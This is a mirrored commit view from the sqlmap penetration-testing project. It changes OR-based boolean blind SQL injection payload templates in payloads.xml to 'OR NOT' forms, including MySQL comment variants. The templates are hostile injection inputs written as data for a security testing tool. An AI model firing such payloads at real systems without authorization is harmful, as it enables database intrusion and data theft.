PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-12-06 04:31:30 +00:00
Code Issues Projects Releases Wiki Activity

proper way of handling OR based injections (completely compatible with current AND based inference engine)

Browse Source
This commit is contained in:
Miroslav Stampar
2010-12-06 17:23:21 +00:00
parent 27ee9a5ccf
commit e4b51dd549
1 changed files with 9 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

18
xml/payloads.xml
View File

@@ -452,12 +452,12 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR [INFERENCE]</vector>
<vector>OR NOT [INFERENCE]</vector>
<request>
<payload>OR [RANDNUM]=[RANDNUM1]</payload>
<payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison>
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
@@ -468,13 +468,13 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR [INFERENCE]</vector>
<vector>OR NOT [INFERENCE]</vector>
<request>
<payload>OR [RANDNUM]=[RANDNUM1]</payload>
<payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
<comment>#</comment>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison>
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response>
<details>
<dbms>MySQL</dbms>
@@ -488,13 +488,13 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR [INFERENCE]</vector>
<vector>OR NOT [INFERENCE]</vector>
<request>
<payload>OR [RANDNUM]=[RANDNUM1]</payload>
<payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
<comment>--</comment>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM]</comparison>
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
<!-- End of boolean-based blind tests - WHERE clause -->